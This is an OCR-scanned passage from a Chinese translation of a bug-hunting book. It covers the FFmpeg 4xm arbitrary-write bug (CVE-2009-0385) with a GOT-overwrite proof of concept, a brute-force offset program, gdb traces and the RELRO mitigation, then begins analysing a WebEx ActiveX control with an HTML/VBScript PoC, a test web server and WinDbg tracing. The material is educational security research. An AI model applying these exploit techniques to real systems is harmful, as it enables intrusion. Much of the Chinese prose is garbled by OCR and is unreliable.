¥ GOT AR, WA[LIR G HEFHBAFAPITI (I A475 ), GOT EFAL 2 Al
i, XIERRFEN., RTGESESRRAEZEFEHNERE GOT AN
il EIP,

4, HEBENESHEVE (arbitrary memory write ) 22 J5 21 FHWEN FEE eR X8 7
B [mZX A, RE T HERB,

BRI  libavformat/4xm.c
K% fourxm read header()
[..]

18 /* allocate a new AVStream */
185 st = av_new_stream(s, current_track);

[..]

BIRE 4 N EBEEZE, B EH RS av_new_stream() /3 8E T —4 #7
%] AVStream,
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B libavformat/utils.c

ER¥  av_new_stream()
[..]

2271 AVStream *av_new_stream(AVFormatContext *s, int id)

2272 {

2273 AVStream *st;

2274 int i;

2275

2276 if (s->nb_streams >= MAX STREAMS)
2277 return NULL;

2278

2279 st = av_mallocz(sizeof(AVStream));
[-.]

4227947, AT A 145 av_mallocz() IR,

FAEREHE  libavuti/mem.c

ER#¥ av mallocz() #1 av_malloc()

[..]

43 void *av_malloc(unsigned int size)
44 {

45 void *ptr = NULL;

46 #ifdeft CONFIG_MEMALIGN HACK

47 long diff;

48 #endif

49

50 /* let's disallow possible ambiguous cases */
51 if(size > (INT MAX-16) )

52 return NULL;

53

54 #ifdef CONFIG_MEMALIGN HACK

55 ptr = malloc(size+16);

56 if(!ptr)

57 return ptr;

58 diff= ((-(long)ptr - 1)&15) + 1;
59 ptr = (char*)ptr + diff;

60 ((char*)ptr)[-1]= diff;

61 #elif defined (HAVE_POSIX_MEMALIGN)
62 posix_memalign(&ptr,16,size);
63 #elif defined (HAVE MEMALIGN)

64 ptr = memalign(16,size);

15; void *av_mallocz(unsigned int size)

136 {

137 void *ptr = av_malloc(size);
138 if (ptr)

139 memset(ptr, 0, size);
140 return ptr;

141 }

[..]
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5 13747 T BR% av_malloc(),av_malloc()7E5E 64 479 memalign()( 3
flok) ifdef 703 (5% 54 17#15% 6147 ) 7£ UbuntuLinux 9.04 5 F¥REN ), &
7 memalign() BB, FAXERBRERY . — MR E S S5
FHE PR (LA 4-6 ),

FFmpeg i 4 & I
fourxm_read_header() '—) av_new_stream() _)l av_mallocz() H av_malloe() I
R FFmpeg ) & & iy FEmpeg i # & i l |
memalign()
R0

K 4-6 REGAME, B7RMRIREES memalign()MiBREXE

Xk T F—A R : ff FFmpeg " memalign()# GOT A K #iht 2442
i objdump FAGHNAN T B

linux$ objdump -R ffmpeg g | grep memalign
08560204 R_386_JUMP_SLOT  posix_memalign

AT ZEE fbht & 0x08560204, REMMZITEHIRNESIEM track
number {E (current_track ), BILLFLUFHAN G P BEE— B IXA TR
{H: ZEdH AR, REEARA L. REBEHHFE, BETUTERE,

KAEE 41 —MEFABRAFERD current track -4 35 (8 H%8 B/ VRS

(addr brute force.c)

01 #include <stdio.h>

02

03 // GOT entry address of memalign()

04 #define MEMALIGN GOT ADDR 0x08560204
05

06 // Min and max value for 'current track’
07 #define SEARCH_START 0x80000000
08 #define SEARCH END OxFFFFFFFF
09

10 int

11 main (void)

12 {

13 unsigned int a, b = 0;

14
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15 for (a = SEARCH START; a < SEARCH END; a++) {

16 b = (a * 20) + 0x10;

17 if (b == MEMALIGN GOT ADDR) {

18 printf ("value for 'current track': %08x\n", a);
19 return 0;

20 }

21 }

22

23 printf ("No valid value for 'current track' found.\n");
24

25 return 1;

26 }

RIBHER 4-1 PHOBRFEHABR AT ERIABANSER track number {H
( current_track ), FX/MERFE LTS 417 LAY GOT Hiht . X2l it 223K current track
FrATTREE, ERENTRER (W 1617) LA R A memalign()#) GOT AL
bt (5 1747) RZTHEM . BT AEX IR, current_track SRR —
Mgk, Hik 2% ELE 0x80000000 F| oxfffHff SLEMNHIME (W 1547 ).
AR

linux$ gcc -o addr_brute_force addr_brute_force.c
linux$ ./addr_brute_force
Value for 'current track': 8d378019

R THBIDCH, IR EEMAN poc2.4xm,
HME— AR BB track number AE (WLIE 4-7 FhRy (1)), IHE, BEFEHA
W/ EFERIRERRTT .

(1)

000001a0h: 32 2E 77 61 76 00 73 74 72 6B 28 00 00 00|19 80); 2.wav.strk(....€
000001boh: [37 BD'BB BB BB BB|00 00 04 00 D1 07 00 00 2F 00 ; 7 wwwn....N.../.

 4-7 VA%t track number ( current track ) {B2Z/5 3014 poc2.4xm HY strk £

RIGEIR AR P I NI POC Xt ( AT ik 2 ##3AR ML B.4 77 ),

linux$ gdb -q ./ffmpeg_g

(gdb) run -i poc2.4xm

Starting program: /home/tk/BHD/ffmpeg/ffmpeg g -i poc2.4xm

FFmpeg version SVN-r16556, Copyright (c) 2000-2009 Fabrice Bellard, et al.
configuration:

libavutil 49.12. 0 / 49.12. 0
libavcodec 52.10. 0 / §2.10. O
libavformat 52.23. 1 / 52.23. 1
libavdevice 52. 1. 0/ 52. 1. 0
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built on Jan 24 2009 02:30:50, gcc: 4.3.3

Program received signal SIGSEGV, Segmentation fault.
0xbbbbbbbb in 2? ()

(gdb) info registers

eax 0xbfcidddo -1077813808
ecx 0x9169400 167154688
edx 0x9160330 167117616
ebx 0x0 0

esp oxbfciddac Ooxbfciddac
ebp 0x85601f4 0x85601F4
esi 0x164 356

edi 0x9t60330 167117616
eip oxbbbbbbbb oxbbbbbbbb
eflags 0x10293 [ CF AF SF IF RF ]
cs 0x73 115

SS 0x7b 123

ds 0x7b 123

es 0x7b 123

fs 0x0 0

gs 0x33 51

B! ST EIP, SEBERIIESIEH G, REIXMRRATET —1
MR . i VLC ZEAEBERBIENEARNR, HAEMEMAT FFmpeg #HA XA
(3] N

AEJLEC SR E, EENEREARTFREMR 8 TEMNRRF PR
¥, {HRARA] LAEAF R M EIE R FH M — MR B, KPR TR

WA AR, ©
A 4-8 B4 T WA X MERAZZR. TS+ RRE bug,

FFmpeg #f 3
fourxm->tracks[current_track].adpcm =
%) AV _RL32( &header[i + 12]);
T K it 4xm Y
' GOT: memalign() (1) (2)
+ curvent_track €™~
+ RH(E ]
«— NULL

A 4-8 BRI R WTH X FFmpeg bug B
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() NAEEEEN B fR#ial & H current_track #E R —A&3 (NULL +
current_track + fRBAE) I M. current_track BUE B 4xm ARS8

P HIBEE
(2) NEBERENTREEESE B A SC 4/ P sl
(3) I P #8055 H 3] memalign() BREEE GOT FEIA OHIE,

4.3 RRMZIE

w09 1B 8., =

TERHX — bug iBHI T FFmpeg (M HEZ G, MATFR T FEXAHT, ©

--- a/libavformat/4xm.c
+++ b/libavformat/4xm.c
@@ -166,12 +166,13 @@ static int fourxm_read header(AVFormatContext *s,
} goto fail;
current track = AV_RL32(&header[i + 8]);
if((unsigned)current_track >= UINT_MAX / sizeof(AudioTrack) - 1){
av_log(s, AV_LOG_ERROR, "current_track too large\n");
ret= -1;
goto fail;

+ 4+ + + +

if (current track + 1 > fourxm->track count) {

fourxm->track_count = current_track + 1;
- if((unsigned)fourxm->track_count >= UINT_MAX / sizeof(AudioTrack)){
- ret= -1;
- ) goto fail;

fourxm-»>tracks = av_realloc(fourxm->tracks,

fourxm->track count * sizeof(AudioTrack));
if (!fourxm->tracks) {

XMANTEHM T KERE, MWMmRH] current_track MR KEASRERE L
0x09249247 .

maximum allowed value for current track
0x09249247

(UINT MAX / sizeof(AudioTrack) - 1) - 1
(oxff+fffff / oxic -1) -1

HTHTEERARL Y, current track IASEGE, I NMRFEFEET.
XAFN T ERACEZERR 7 X Meid . ©A S8 RTEF AZEERTLIE
FAXA bug ZIGEME, N T ERIDUTHR, BRONEBES —THNEFEAELIES EIP,
XA F PR AR GOT ANHht, RELRO Zf#i AH —F#EERER 4
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RELRO (FullRELRO), E (H ) BRSf GOT M HiE, XH, #dZAiEANES
GOT Hy#: 153k ##] FFmpeg PUTHEMARI T, A1, £4A RELRO EAREZHEAN
T A I TR A1 B AR SR AT LA ) EIP,

h Tl 54 RELRO Zf#HK, FFmepg % T RELRO SEMBA S
TEPIME R THEETEFRRIF_HF L F4@8 R c2 P
#. -Wl, -z, relro, -z, now,

H T H1FH A 5842 RELRO ¥/ FFmpeg 7~ %401 F .

linux$ ./configure --extra-ldflags="-Wl,-z,relro,-z,now"
linux$ make

152! memalign()# GOT A .

linux$ objdump -R ./ffmpeg g | grep memalign
0855ffdo R 386 JUMP SLOT  posix memalign

AR IS B 4-1 BACHS, AR HEB D current track M.

linux$ ./addr_brute_force
Value for 'current track': 806ab330

B— N POC U (poc_relro.d4xm ), ARIGEFRLFFH MU (AT
A S BRI B.4 75 ),

linux$ gdb -q ./ffmpeg g

(gdb) set disassembly-flavor intel

(gdb) run -i poc_relro.4xm
Starting program: /home/tk/BHD/ffmpeg relro/ffmpeg g -i poc_relro.4xm
FFmpeg version SVN-r16556, Copyright (c) 2000-2009 Fabrice Bellard, et al.
configuration: --extra-ldflags=-Wl,-z,relro,-z,now
libavutil 49.12. 0 / 49.12. 0
libavcodec 52.10. 0 / 52.10. ©
libavformat 52.23. 1 / 52.23. 1
libavdevice 52. 1. 0/ 52. 1. 0
built on Jan 24 2009 09:07:58, gcc: 4.3.3

Program received signal SIGSEGV, Segmentation fault.
0x0809c89d in fourxm_read header (s=0xa836330, ap=0xbfb19674) at

libavformat/4xm.c:178
178 fourxm->tracks[current track].adpcm = AV _RL32(&header[i + 12]);

3 FFmpeg ZRAMITEGRAEE R FIKAB . ABEBREREG AR
BT, bR SR SRR FFAHEN FFmpeg PATHIR G — #9845
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(gdb) info registers

eax 0xbbbbbbbb -1145324613
ecx 0xa83f3e0 176419808
edx 0x0 0

ebx 0x806ab330 -2140490960
esp oxbfbig4fo oxbfb1g94fo
ebp o0x855ffco ox855ffco
esi Oxa83f3a0 176419744
edi 0xa83f330 176419632
eip 0x809c89d 0x809c89d <fourxm_read_header+509>
eflags 0x10206 [ PF IF RF ]
cs 0x73 115

SS 0x7b 123

ds ox7b 123

es Ox7b 123

fs 0x0 0

BS 0x33 51

(gdb) x/1i $eip

0x809c89d <fourxm read header+509>:

mov

DWORD PTR [edx+ebp*1+0x10],eax

/M R T FFmpeg i ARTF EAX B 72 ae{E A Hb Ak

(gdb) x/1x $edx+$ebp+0x10

0x855ffdo <_GLOBAL_OFFSET TABLE +528>:

Oxb7ddadao

A FTEE, FFmpeg i EAX FF2R{EE 2| memalign() A GOT A H424it

BHbhE (ox855Ffdo).

(gdb) shell cat /proc/$(pidof ffmpeg_g)/maps

08048000-0855f000
0855f000-08560000
08560000-0856c000
0856¢c000-0888c000
0a834000-0a855000
b7d60000-b7d61000
b7d61000-b7ebd0o00
b7ebd000-b7ebe000
b7ebe000-b7ec0000
b7ec0000-b7ec1000
b7ec1000-b7ec5000
b7ec5000-b7ec7000
b7ec7000-b7ec8000
b7ec8000-b7ec9000
b7ec9000-b7eed000
b7eed000-b7eee000
b7eee000-b7eef000
b7efc000-b7efe0no
b7efe000-b7eff000
b7effoo0-b7f1boo0
b7f1b000-b7f1c000
b7f1c000-b7f1d000
bfb07000-bfb1co00

r-xp 00000000
r--p 00516000
Iw-p 00517000
Iw-p 0856C000
Iw-p 0aB34000
Iw-p b7d60000
I-xp 00000000
---p 0015c000
r--p 0015c000
rw-p 0015000
rw-p b7ec1000
r-xp 00000000
r--p 00001000
rw-p 00002000
Ir-xp 00000000
r--p 00023000
Tw-p 00024000
rw-p b7efcooo
r-xp b7efe000
r-xp 00000000
r--p 0001b000
Tw-p 0001c000
rw-p bffeb0oo

08:01
08:01
08:01
00:00
00:00
00:00
08:01
08:01
08:01
08:01
00:00
08:01
08:01
08:01
08:01
08:01
08:01
00:00
00:00
08:01
08:01
08:01
00:00

101582
101582
101582
0
0
0
148202
148202
148202
148202
0
148208
148208
148208
148210
148210
148210
0
0
130839
130839
130839
0

/home/tk/BHD/ffmpeg_relro/ffmpeg g
/home/tk/BHD/ffmpeg_relro/ffmpeg g
/home/tk/BHD/ ffmpeg_relro/ffmpeg g

[heap]

/1ib/t1s/i686/cmov/1ibc-2.9.50
/1ib/t1s/i686/cmov/1ibc-2.9.s0
/1ib/t1s/i686/cmov/1ibc-2.9.50
/1ib/tls/i686/cmov/1ibc-2.9.50

/1ib/t1s/1686/cmov/1ibdl-2.9.s0
/1ib/t1s/1686/cmov/1ibdl-2.9.s0
/1ib/t1s/1686/cmov/1ibdl-2.9.s0
/1lib/t1s/i686/cmov/1ibm-2.9.50
/1ib/t1s/1686/cmov/1ibm-2.9.50
/1ib/t1s/i686/cmov/1ibm-2.9.50

[vdso]
/1ib/1d-2.9.s0
/1ib/1d-2.9.s0
/1ib/1d-2.9.50
[stack]

REEE 67



68  EaF TEHFF

X—¥K FFmpeg 7EiAEE S B GOT AX ( Wikt 0855f000 | 08560000
b GOT B x--p AUPR ) B FEAEREM AN . A X552 RELRO H AL AT LA
R GOTHEE,

4.4 2ZIEFNHEI|

YE—BFEF B :

O AEREA R BRI,

QO TEgiEe: 3 e TSl FE 8, XL HIFERY, 2F3KE
9% 4 bugl” (A3 ) |

0O FLEEE CIEH AR ;

Q ARFAE R P2 B2 8RS B EE4 RS T (DoS) ABATRE,
Hafg—82iEw™HENRAE, 233UEEREHIT;

O 564 RELRO R B GOT B E A HEAR,

VE A — 2 A RE A T P

O FEAEREEE AT BZ (W 2.597 )

4.5 FpFE
2009 F 1B 2228, Bz

wWAE2BE (E 4-9 B/RTHERE), $EAK FFmpeg o] LIRIR T, A
B BN EEA TR ESMRED . X1 bug 452 CVE-2009-0385,

Frmpegsfi P B 4T 3L T

FFmpegsli 4 %‘Fi!}lﬁ’h
Frmpeg(F A WEE F Ko vt EILFH
\i./

01.27.2009 01.28.2009

A 4-9 FFmpeg bug M &3 & i X IR A 8987 8] %

MiiE
[1] W http://wiki.multimedia.cx/index.php?title-YouTube ( &ifik A http:/bit.ly/xDbNah ).
[2]1 . http://fimpeg.org/download.html ( %Ght >4 http://bit.ly/wHaMSs ).
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(4]

[3]
[6]

(7]

(8]

45 %% | 69

T, http://www.trapkit.de/books/bhd/ ( %4k >4 http:/bit.ly/yZX6td ),

4X B CHBNAMTFEMANM AT AL T AR P]: http://wiki.multimedia.cx/index.php?
title-4xm_Format ( 214 hitp:/bit.ly/xqBSYT ),

UL http://www.trapkit.de/books/bhd/ ( 5@HE A http:/bit.ly/yZXétd ).

FFmpeg " HREM T oI ALIT MuL#8 3 : http:/git.videolan.org/?p=ffmpeg. git;a=
commitdiff;h=0838cfdc8a10185604db5cd9d6bffad71279a0e8 ( %24k 4 http://bit.ly/AEpLF3 ),
KT RAEBREMXE2RBHE L5 ET2% Mark Dowd. John McDonald 1 Justin
Schuh #) The Art of Software Security Assessment: Identifying and Preventing Software
Vulnerabilities ( Indianapolis,IN: Addison-Wesley Professional, 2007 ). A] 3B HHEEZS R
http://ptgmedia.pearsoncmg.com/images/0321444426/samplechapter/Dowd_ch06.pdf ( 4 hit 25
http://bit.ly/xjWPgB ),

AR X FFmpeg Wil 4RI L MG T MELTF Mab#R B http://www.trapkit.de/
advisories/TKADV2009-004.txt ( &4t 4 http://bit.ly/x7jozO ),
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2008 'F o H 68, EHgB

PAE, PRSI KA PRI R WA TR, RILRITHE AR L&
ActiveX {4, B AFE R LSBT Z 6 A BREL S MEgai
14 WebEx, BT —2Lm|a]5¥iTE T#2 WebEx BIBEK IE M ¥EA% ActiveX #5447,
R T MMBHEA bug, RGBT E AR BIC g, JLE
PRNELRERBIE . BB, ©

5.1 &I ERE

FAR IR AR E . LTS d @B HE
Q. FIH WebEx MM R & 8 22 ¢ windows xP SP3 4 (F
Tiiko % ¢f, #o 1E6.

Q520 WA ITE.

0 =20, B SR SRR R Tk
Q /L B PFH RABUE,

Q $HHH. Wim TEXMRTE,
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FE A TR P TR TRIARFKRALS WebEx 23 ZHM4 ( WebEx
Meeting Manager ) 694£3&: http://www.trapkit.de/books/bhd/,

511 F—%: JH WebEx T8I RIS EHFAE

TERE%H WebEx 2UWUEBEHMZ 5, Ri21T COMRaider!!, A li— {442
HraERAEN S HEOER, A COMRaider f9 Start #HH Hikf “PfHEZ
HRCEMA COM A% (Scan a directory for registered COM servers ) il
WebEx 414,

B 5-1 Bi~, WebEx &3k HF THEM T WAXER, M GUID 2 {32E26FD9-
F435-4A20-A561-35D4B987CFDC} . ProgID & WebexUCFObject. WebexUCF-
Object.] FIXTRICH T I0bjectSafety ¥, IE 2{5EXNMHR, AN EFRCHT
A %54% ( safe for initialization ) F1°7 %4 ATHrA (safe for scripting ), X{#

XA EERCY Y BN BhE” (bruwse and you’re uwned) Wik Bér, HER
ERHEATERESMARIFREM,

w* 2 classes found to objects registered in this path

e

;'.': T iy AL
WProgeam Files H'w'n:hE "-v-alg:nc ]

4E F2EFSF 425 TLABSETLFDL) nigmet w et JCF Dbeect 1
4EEB {tI]SEEEBSEIHﬁ.'I 111:I41¢.B-5|E-{[EWBZ-'1‘-.-1F'5-E '_n-cf 1lanﬂ l'.qu.ll’»nlarrrcr'l

< 3
Calecied File |C \Program Fies\webE i\webE w28 atuctoby il Desciplion [Webex CFObyect Class
Progili [WebeUTFObject WebesCFOble  GUID {{10F 26FDSF 43544204561 38D4BI8TCFOCT Sfbc: ______ _J
At Moles & - A Regkey Safe for Scnpt: False o~

Safety Repart Regkey Safe for lrat Fake 5

|mplements 10 beectS afety: Trse
IDisp Sale; Sabe lor untusted: caller data

B 5-1 COMRaider #* WebEx 1%} 5

AR RAE T — 8 CHK Classld.csP!, TRTLAFIH ActiveX /4094
FEYE, AEAXAE, REFEXXHPEMT T JLFT, 3 Visual Studio i) C#
AT RS (csc) 4wiF,

(..]

namespace ClassId

{

class Classld

{

static void Main(string[] args)
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{
SWI.ClassId g.ClassId clsid = new SWI.ClassId gq.ClassId();

if (args.Length == 0 || (args[o].Equals(“/?") == true ||
args[o].ToLower().StartsWith("-h") == true) ||
args.Length < 1)

Console.WriteLine("Usage: ClassID.exe <CLSID>\n");
return;

}

clsid.set_clsid(args[0]);
System.Console.Writeline(clsid.ToString());

FEASTRFHE QBT Ta4, S TR,

C:\Documents and Settings\tk\Desktop>csc /warn:0 /nologo ClassIld.cs
C:\Documents and Settings\tk\Desktop>ClassId.exe {32E26FD9-F435-4A20-A561-35D4B987CFDC}
Clsid: {32E26FD9-F435-4A20-A561-35D4B987CFDC}

Progid: WebexUCFObject.WebexUCFObject.1

Binary Path: C:\Program Files\WebEx\WebEx\B824\atucfobj.dll
Implements IObjectSafety: True

Safe For Initialization (IObjectSafety): True

Safe For Scripting (IObjectSafety): True

Safe For Initialization (Registry): False

Safe For Scripting (Registry): False

KillBitted: False

T H A% B aRX TR B0t I0bjectSafety # OFRICH T & 4s
ALFN T % AT B A

)5 K dr COMRaider ) Select #¢4l, #¥F GUID & {32E26FD9-F435-4A20-
A561-35D4B987CFDCY IR R F I 7 I5513R . WA 5-2 FiR, ZAMRFH
B #: NewObject () PA— AR B {EAE A

»° COMRaider Only showing class [ 37E26FD9-F435-4A20-A561 -35048987CFDC]

EOM Server [0 \Program Files\W/sbE x\WebE AP atuictab] o 7| ¥ Show aly huzestle
I, ATUCFORILD {Function Newdbject (

|~ 33 WebexlICFObect % ByUal bstrCompMame As String
= w3 webesCF Author i} RAs Long
Y 1 eI bject 1

Lige nght chek nienu on tresview to genernste fuzr files

Bl s blext ». _2.

] 5-2 GUID 4 {32E26FD9-F435-4A20-A561-35D4B987CFDC} %t %
Ak
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512 FZH: EMNEF[|PRALSFHITZE

TN R EFHAFESIRZE, BRE 7 — 088 HTML X, @it
VBScript i A NewObject () 7,

KF37F £ 5-1 A/ Newobject() M) HTML X fF ( webex_pocl.html )

01 <html>

02 <title>WebEx PoC 1</title>

03 <body>

04 <object classid="clsid:32E26FD9-F435-4A20-A561-35D4B987CFDC" id="obj"»></object>
05 <script language='vbscript'>

06 arg = String(12, "A")

07 obj.NewObject arg

08 </script>

09 </body>

10 </html>

RIGER 5-1 K58 447, LH{EL GUID B ClassID 4 {32E26FD9-F435-4A20-
A561-35D4B987CFDC} IR . 58 7 1T A NewObject () 5, SEEH 124F
1 A HERWFAF R,

AT WX HTML 3044, # A Python LB T —MET LR Web IRE 2%, ©
A] LAfe] iRk webex pocl.html SCHAZEMYERS ( WACHSTEE 5-2 ),

X53;5% 52 Python SEBLH—ME] B Web AR %5 254a] iR 3C 14 webex_pocl.html ( www
serv.py )

01 import string,cgi
02 from os import curdir, sep
03 from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer

04

05 class WwwHandler(BaseHTTPRequestHandler):

06

07 def do GET(self):

08 try:

09 f = open(curdir + sep + "webex_poci.html")

10

11 self.send_response(200)

12 self.send_header('Content-type', 'text/html")
13 self.end headers()

14 self.wfile.write(f.read())

15 f.close()

16 -

17 return

18

19 except IOError:

20 self.send error(404, ‘File Not Found: %s' % self.path)
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22 def main():

23 try:

24 server = HTTPServer{('', 80), WWWHandler)
25 print 'server started’

26 server.serve forever()

27 except KeyboardInterrupt:

28 print 'shutting down server'

29 server.socket.close()

30

31 if name == "' main

32 main() - o

HE IR WebEx H)iX 1~ ActiveX FHARiC A A Z2ITHAR (WA 5-1), XH
WitARERNTikE HEEM webex.com iz1T. 3EPr L, {5 B sk & B K iR iR
( Cross-Site Scripting, XSS ™) #ial LAZGid XN ER . % Fa04-#) web B XSS
WiAAEE R, i AHELE webex.com & H X FERITRIE . b T ZEAfEBY XSS
AR T XN, REBEE Windows B hosts BRI T a4 F—IN
( i, C:\WINDOWS\system32\drivers\etc\hosts\ )o |

127.0.0.1 localhost, www.webex.com

25, FIEHHRAEI M Python Web fE%5-35, JE44 TE 5181 http://www.webex.
com ( WLIE 5-3 ),

o Gomenand Prompl pﬂ.;mnﬁ'min.ru :

v T —— S e

3 Webkr Pol 1 — Exphares

- @ 1 (8] o e 5

Address e] http: [ v weabex, com)

£ www webex|1] - Motepad
Fle Edt Formst View Hel

<htmlz A
“titlexwebEx Pol 1< Titlex
<body
<ohject classid="cls1d:32E26FDO-F435-4A20-4561-3504P9B7CFDC" Td="0b]"></0bject>
<script language='vhscript s
arg = stringf12, "aA")
DEJ.NE'“(."'EI'!E"?TT arg
</sCriptas

B 5-3 FAFEIP A Python Web AR % #5313 webex_poc].html

513 F=F: KB ZHBIXHFPERAZ
BIHATNIE, BEEBTETFER,
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O —™ WebEx X{%:, ClassID /& {32E26FD9-F435-4A20-A561-35D4B987CFDC} o

O XAMXREI T I0bjectSafety 80, EHFERAZE Bis, HAEMNS
AT LA YT 25 P P A o

QO XA FH— Newobject () i, HEZ— 1 PRGN ZAFB/EIRA

AT 3% s TRES R 7 NewObject () , FAMAZFE _#E | SCF atucfobj.dil 3%
e, Mk, AT —FAESIBIEEAR, 5 Cody Pierce fE—R EEH MindshaRE
X ECHRRRRSM . KRR ARN K235 OLEAUT32!DispCallFunc IS4+
B VR R vk i ik

mSE—4 ActiveX 40977 B8k V8 B3|, 1 % i1 DispCallFunc() sk EHhiTE
PREGVEA . X~ eR¥H OLEAUT32.d1l 3 it . &5 A hhk T B3 DispCallFunc()
HIBTR 2% (W4E pvInstance Fl oVFt ) #5E o

T $& i NewObject() Frikigssht, M WinDbg V'ih3TH IE (A4 M
AN B2 ¥ ), FH7E OLEAUT32!DispCallFunc AMRBEIN T & (WA 54 ),

0:000> bp OLEAUT32!DispCallFunc "u poi(poi(poi(esp+4))+(poi(esp+8))) L1;gc"

Bl \Program Files\Mniernet Explorerliexplore.exe”

WinDbe:6.11.0001.404 XB6

. 77c100DD 77ceB000 CwWINDOWS =yvstend2smsvert dll
: 7=410000 7e=4al1000 CAFINLOPS \systemI2-USER32 dl1l
77£10000 77£59000 C A WINDOWS - =systen32«GDI32 d11
 F7ER000D0 ?7EdE0DD C = WINDOENS - systend2~SHLUAPI 411
;77440000 77=6bB000 C =WINDOWS systen32-ADVAPT 32 dl1
» F7elDDDn FFE020D0 CANFINDOUS sy=tenI2~RPCRT4 dl1l
77i20000 F7££1000 C SWINDOWS systendZ-Securi2.dll
: 72280000 7e=401000 C S WINDOUS \sy=stemnd2~SHDOCYW dll
. 77aB000D 77b15000 C “VWINDOWS-=ystem32“CRYPT32 411
. ?7b20000 7732000 CAVINLOWS \system3d 2« HSASN1 dll
. 75440000 75550000 C o WINDOWS systend 2~CRYPTUIL . d11
¢ EBEEO0DDD ShBbLEODD CAVINDOWS systend2~NETAPI32 4dll
: 77120000 771ab0DO C < WINDOWSssy=sten32-0LEAUTI2 411l
. 77420000 77614000 CAHINIOWESsystend2~oledd dll
2700000 7708000 CAWINDOVS ' systen32~VERSION 411
© 771b00DD 7725=000 CWINDOUS \systend 2~ VININET 411
_ . 7ec300DD 76c5=0DD T AW INDOUS  sy=ten32-WINTRUST 411
{ModLoad: 7e6c?0000 7eche0ill CAFIRIOUS systend2~IHAGEHLP dl1l
Modload: 76f6000D 76f£8c=000 C: “WIHNDOWS-=systenld2-W1DAP32 411
(490 238): Break instructiom exception — code BOODDDDO3 {first chance)

¥
I

IG5 -0005 |

eax=00251ebd ebx=7ifd4000 ecx-0D00000D7 edx=00000080 esi=00251£48 ed:*ﬂDdElehi

eip=7c90120s e=sp=0013fk20 =bp=0013fc94 1opl=0

c==001b

o=

7901202 cc

d=s=0023

intdll | DbgBreakFoint _
int 3
40:000* bp OLEAUT32 | DispCal lFunc

ny up =1 pl nz na po n

mg=j023 f=«003b gs=000D afle UDGDDEDE

-

“u poifpoi(poi(esp+d ) J+iporle=p+B))) L1 g

ay

7

EF e

LnE, Col0’ Sys0:<iopal= ProcBO0MO0 Thed DOD:E38 -

L = e memm e e s A s el L e e e+

g 2

P 5-4 7& IE "PAY OLEAUT32!DispCallFunc 4b5E L —/H
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PR A4 bp OLEAUT32!DispCallFunc 7E DispCallFunc() iR E L T —
MR . MBRXNH AR, BREWITRITSEE#HKE (evaluate ), 2
poi(poi(esp+4))FIFHE— NS, poi(esp+8)5|HIE - NSE, XBMHMME—E,
SBHFEREBT RO L, s, e LT XN T ERICESHFE—FT (LD
(u poi(result of the computation)), FEH4kLEPAT (gc)o

SR J5 3 Al WindDbg B g( Go Y4247 IE IR R http://www.webex.com/,
IEINFRBIERY, WinDbg HE i & AT A B H T atucfobj.dll 8% I B &
NewObject () 7 BB N FF ittt o

mE 5-5 Fim, XABIFH NewObject() ik AFEH Lt 2 0x01d5767F
atucfobj.dll B Bm# T Hiht oxo1dsoooo 4t ( WA 5-5 Ff) ModLoad: 01d50000
01d69000 C:\Program Files\WebEx\WebEx\824\atucfobj.dll ), Btk NewObject()
£ atucfobj.dll HFHREESE 0x01d5767f - 0x01d50000 = 0x767f

&1 "C:\WProgram Files\Mniernet Exploreriiexplore.exe” - WinDbg:6.11.0001.404 X86
Fh Eti m Dd!uq 'll'i'ﬂ:m l'ﬂb

L L = e

C =NINDOVS systend 2 wsock3dZ dll
.\HINIUUSNS?stEh32\U52_3E dll
AWINDOWS sy=stend2 WSZHELF dll

AUINDOUS \systemd2 mswsock dll

SWINDONS =v=teni2-hnetcfg dll

SRINDOUS Systend vwshtopip . dll

; \HIﬂmm\s?stME 2~RASAPIIZ DIL

SUINDOVS systemd 2™ rasman dll

SUIHNDONS sy=sten32“TAPI3Z 411
.\UIHDCIWSNEystenHEKTtutllS dll

“WINDOWS systend2 sensapi .dll

*WINDOWS =systemI2~DHSAPI dll

SHINDOVS systend?rasadhlp dll

‘\Prﬂgran Files"VebEx“VebEx“B24“atucfobj dll
“Program Files VebEx“VebEx-824~2tWbxUI& DLL
S WINDOUS systemd 2~ HSVCPR0D . d11

wProgram Files PabExsVebhEx~2824+1IILibRe=s DLL
: \Prn::-grnn Files"VehEx“VebEx . fZ4 atres dll
“Program Files VebEx“UebEx“824~atkbeotl dll
WWINDOVSsystem3 2™ 1bst:r1pt iill

; 7T1ad0000 71ad9000
¢ 71ab000D 7lac?0O0OD
© 71asa000D 7lmaB000
© 71a50000 71aBE000
: 6620000 eE30800D
© 71la%90000 71la9800D
; Tee=00DD 7&f1c000
© 76e90000 76=a2000
; 76eb00DD 7eedfODD

76=E000D0 7e=Ee0DD

722b000D 722L5000
+ 76£20000 76£47000
. 7BfcODOD 76fcelDD
- N1dS00DD Dides000

01480000 01ded000
+ 76080000 7605000
: 01440000 01de=00D0
: 02370000 D25BBODD

05790000 0S796000

73300000 733ga00D

t‘lﬁi"ut'ﬁl[’lr}r":ﬁr*ﬁﬂ glgliglielsligleln]

Mm ERROR ' 'Eym,b.:-l fils could not he found Dufaultad to m.:pczf synbols for C “Program F |
jatucfobj ID]lnregisterServer+ix355a -
U'.ldE'?ﬁ?E E5 push ehp

| .
_!- b, I ST . el bt : U A >
Te Dabugges. 3= running _—

e F o e s Sl A i T R o

LnD, Cod 0 995 0 <local> Proc 000tSed  Thed BDG:4ed - -

B 5-5 WinDbg 7% NewObject ()77 B Y P F7 i hik

514 HFMP: XBARPEHRMALRE
BTk, BH IDA Pro PIRIC4 T —##I# C:\Program Files\WebEx\WebEx\
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824\atucfobj.dll, 7E IDA H, atucfobj.d11 B EENE (imagebase ) J& 0x10000000.
FfLA NewObject () 7E K2 4% 4 F ik 0x1000767F ( BURIENE + NewObject () BT

# . 0x10000000 + 0x767F ) ( W& 5-6 ),

1000767F sub 1080767F proc near

10087 GTF

1000767F var_10= byte ptr -18h
1000767F var_ 8= dword ptr -8

1008767F var_&4= dword ptr -4

1800767F arg_ 8= dword ptr B8

1000767F lpWideCharStr= dword ptr ©Ch
1880767F arg 8= dword ptr 18h
1088767F

1880767F push ebp

100087689 mou ebp, esp

1BBB76682 sub esp, 16h

180074685 push ebx

1800076846 xor ebx, ebx

10007688 cmp [ebp+lpiideCharsitr], ebx
10087688 push esi

1008748C push edi

10!#?63! jnz short loc_- 1EIn?b¢3
T ——

1080747F

10BO767F

18BB767F ; ntteibutes: hp-hased Frame

1000767F

1BBO767F ; int _ stdcall sub_10BB767F(int, LPCWSTR 1pWideCharStr, int)

)

Graph owerview

3

10897693
10007693 loc_10087693:
10007693 pu5h [ebp+lpWideCharr:

